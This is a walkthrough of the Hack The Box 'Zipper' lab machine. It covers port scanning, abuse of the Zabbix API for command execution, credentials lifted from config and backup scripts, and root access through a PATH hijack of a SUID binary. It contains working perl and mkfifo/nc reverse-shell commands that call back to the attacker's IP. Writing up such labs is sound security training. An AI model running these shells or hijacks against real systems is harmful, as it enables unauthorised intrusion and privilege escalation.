Zipper - Hack The Box

Zipper was a cool box that mixed some enumeration, API usage and a priv esc using a SUID binary. I had some problems at first getting into Zabbix when I found a possible username but didn’t think of trying the same name as the password. The priv esc was pretty cool, I used ltrace to check which functions are called by the binary and I was able to understand what to do next without having to reverse the binary with IDA or R2.

Quick summary

• There’s a Zabbix server running and we can log in as guest and obtain the zapper username
• We can’t log in as zapper on the GUI but we can issue API calls
• We can create a script (thru API calls) and get RCE as user zabbix within a container
• Then we find the zabbix DB credentials which can also be used to log in as user admin on Zabbix
• We can then create a perl reverse shell script and make it run on the zabbix agent (running on the host OS)
• The password for user zapper is found in the backup.sh script
• We can then su to user zapper and upload our ssh key and get the user flag
• The priv esc is a suid binary that executes the systemctl daemon-reload command
• We can hijack this command by creating our own systemctl file (with a reverse shell), then modify the path so the suid file executes our file instead of /bin/systemctl

Detailed steps

Nmap

root@ragingunicorn:~# nmap -sC -sV -p- 10.10.10.108
Starting Nmap 7.70 ( https://nmap.org ) at 2018-10-20 15:01 EDT
Nmap scan report for 10.10.10.108
Host is up (0.021s latency).
Not shown: 65532 closed ports
PORT      STATE SERVICE    VERSION
22/tcp    open  ssh        OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 59:20:a3:a0:98:f2:a7:14:1e:08:e0:9b:81:72:99:0e (RSA)
|   256 aa:fe:25:f8:21:24:7c:fc:b5:4b:5f:05:24:69:4c:76 (ECDSA)
|_  256 89:28:37:e2:b6:cc:d5:80:38:1f:b2:6a:3a:c3:a1:84 (ED25519)
80/tcp    open  http       Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
10050/tcp open  tcpwrapped
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Zabbix initial enumeration

Port 10050 hints to a zabbix installation, since this is the port used by the zabbix agent:

root@ragingunicorn:~/hackthebox/Machines# nc -nv 10.10.10.108 10050
(UNKNOWN) [10.10.10.108] 10050 (zabbix-agent) open

We found the zabbix installation under the /zabbix directory.

The default credentials don’t work but we can log in as guest.

There’s not much interesting except something about a Zapper's Backup Script:

Making API calls with user zapper

We can then log in to Zabbix as user zapper with password zapper (had to guess that part). However, GUI access is not allowed.

Zabbix has a REST API so we can use this instead to issue commands to Zabbix.

The attack steps are:

1. Log in to API
2. Get list of Host IDs
3. Create a script with a simple reverse shell
4. Execute script (make sure to specify host ID)

Authentication

Body:

Response:

We got the following auth token which we’ll re-use for other API calls: e160aa247a18163cfabe3c5645c8500a

Get list of Host IDs

Body:

Response:

Create a script for RCE

Body:

Response:

Execute script

Body:

First shell in the container

We got a shell after executing the script from Zabbix:

root@ragingunicorn:~# nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.23] from (UNKNOWN) [10.10.10.108] 54366
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=103(zabbix) gid=104(zabbix) groups=104(zabbix)
$ hostname
8e5a23a4dfec
$

Based on the random hostname and the .dockerenv file in the root directory we can assume we’re currently in a container:

drwxr-xr-x   1 root root 4096 Oct 20 19:27 .
drwxr-xr-x   1 root root 4096 Oct 20 19:27 ..
-rwxr-xr-x   1 root root    0 Oct 20 19:27 .dockerenv

There’s not much on this container except the Zabbix configuration file:

$ pwd
/etc/zabbix
$ ls
apache.conf
web
zabbix_server.conf
$

We can find some credentials in there:

$ egrep "DBUser|DBPassword" zabbix_server.conf
#       For SQLite3 path to database file must be provided. DBUser and DBPassword are ignored.
### Option: DBUser
# DBUser=
DBUser=zabbix
### Option: DBPassword
DBPassword=f.YMeMd$pTbpY3-449
$

• Username: zabbix
• Password: f.YMeMd$pTbpY3-449

Getting a shell on the host OS

We can log in to the Zabbix admin page with the admin username and f.YMeMd$pTbpY3-449 password.

Under the Zabbix host, we can see that there are two hosts and one is running the Zabbix Agent.

The agent is running on the host OS while the Zabbix server is running in a container so what we want to do is modify our existing script so its runs on the Zabbix Agent (therefore on the Host OS) instead of the server.

We can now get a shell on the Host OS but it’s not stable and we lose the connection after a few seconds:

root@ragingunicorn:~/htb/zipper# nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.23] from (UNKNOWN) [10.10.10.108] 55348
/bin/sh: 0: can't access tty; job control turned off
$ hostname
zipper
$ id
uid=107(zabbix) gid=113(zabbix) groups=113(zabbix)
$

After trying a few other shells, I found the perl shell works better and is more stable:

perl -e 'use Socket;$i="10.10.14.23";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

We now have a stable shell:

root@ragingunicorn:~/htb/zipper# nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.23] from (UNKNOWN) [10.10.10.108] 46178
/bin/sh: 0: can't access tty; job control turned off
$ w
 20:56:27 up 20 min,  0 users,  load average: 0.02, 0.03, 0.04
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
$ id
uid=107(zabbix) gid=113(zabbix) groups=113(zabbix)
$ hostname
zipper
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
zabbix@zipper:/$

We still can’t read user.txt though:

cat: user.txt: Permission denied
zabbix@zipper:/home/zapper$

But we find a password inside the backup.sh script:

zabbix@zipper:/home/zapper/utils$ ls
backup.sh  zabbix-service
zabbix@zipper:/home/zapper/utils$ cat backup.sh
#!/bin/bash
#
# Quick script to backup all utilities in this folder to /backups
#
/usr/bin/7z a /backups/zapper_backup-$(/bin/date +%F).7z -pZippityDoDah /home/zapper/utils/* &>/dev/null

We can su to zapper using the ZippityDoDah password:

echo $?zabbix@zipper:/home/zapper/utils$ su zapper
su zapper
Password: ZippityDoDah


              Welcome to:
███████╗██╗██████╗ ██████╗ ███████╗██████╗
╚══███╔╝██║██╔══██╗██╔══██╗██╔════╝██╔══██╗
  ███╔╝ ██║██████╔╝██████╔╝█████╗  ██████╔╝
 ███╔╝  ██║██╔═══╝ ██╔═══╝ ██╔══╝  ██╔══██╗
███████╗██║██║     ██║     ███████╗██║  ██║
╚══════╝╚═╝╚═╝     ╚═╝     ╚══════╝╚═╝  ╚═╝

[0] Packages Need To Be Updated
[>] Backups:



zapper@zipper:~/utils$ cd ..
cd ..
zapper@zipper:~$ cat user.txt
cat user.txt
aa29e9<redacted>

Priv esc

There’s an interesting SUID file in the utils directory: zabbix-service

zapper@zipper:~/utils$ ls -l
ls -l
total 12
-rwxr-xr-x 1 zapper zapper  194 Sep  8 13:12 backup.sh
-rwsr-sr-x 1 root   root   7556 Sep  8 13:05 zabbix-service

The file seems to control one of the zabbix service:

zapper@zipper:~/utils$ ./zabbix-service
./zabbix-service
start or stop?: start
start

To see what it does, I used ltrace to check which functions are called:

zapper@zipper:~/utils$ ltrace -s 256 ./zabbix-service
ltrace -s 256 ./zabbix-service
__libc_start_main(0x45d6ed, 1, 0xbfb57f54, 0x45d840 <unfinished ...>
setuid(0)                                        = -1
setgid(0)                                        = -1
printf("start or stop?: ")                       = 16
fgets(start or stop?: start
start
"start\n", 10, 0xb7f345c0)                 = 0xbfb57e82
strcspn("start\n", "\n")                         = 5
strcmp("start", "start")                         = 0
system("systemctl daemon-reload && systemctl start zabbix-agent"Failed to reload daemon: The name org.freedesktop.PolicyKit1 was not provided by any .service files
 <no return ...>
--- SIGCHLD (Child exited) ---
<... system resumed> )                           = 256
+++ exited (status 0) +++

Based on the ltrace output, we see that the program executes systemctl daemon-reload && systemctl start zabbix-agent as user root.

Because the program doesn’t execute systemctl using its full path, it is susceptible to hijacking by changing the PATH environment variable.

We can write a simple bash script that spawns a reverse shell using a named pipe and name it systemctl

zapper@zipper:~/utils$ cat systemctl
#!/bin/sh

rm /tmp/f2;mkfifo /tmp/f2;/bin/cat /tmp/f2|/bin/sh -i 2>&1|/bin/nc 10.10.14.23 5555 >/tmp/f2
zapper@zipper:~/utils$ chmod +x systemctl
chmod +x systemctl

We need to use /bin/cat instead of just cat because we’ll remove /bin from the PATH env variable

Next, we remove /bin from the PATH and add /home/zapper/utils:

zapper@zipper:~/utils$ echo $PATH
echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games
zapper@zipper:~/utils$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/home/zapper/utils
<cal/bin:/usr/sbin:/usr/bin:/sbin:/home/zapper/utils

Then we execute zabbix-service and it spawn a shell as root.

zapper@zipper:~/utils$ ./zabbix-service
./zabbix-service
start or stop?: start
start
/home/zapper/utils/systemctl: 3: /home/zapper/utils/systemctl: rm: not found

root@ragingunicorn:~/htb/zipper# nc -lvnp 5555
listening on [any] 5555 ...
connect to [10.10.14.23] from (UNKNOWN) [10.10.10.108] 60846
# id
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),30(dip),46(plugdev),111(lpadmin),112(sambashare),1000(zapper)
# cat /root/root.txt
/bin/sh: 2: cat: not found
# /bin/cat /root/root.txt
a7c743<redacted>
#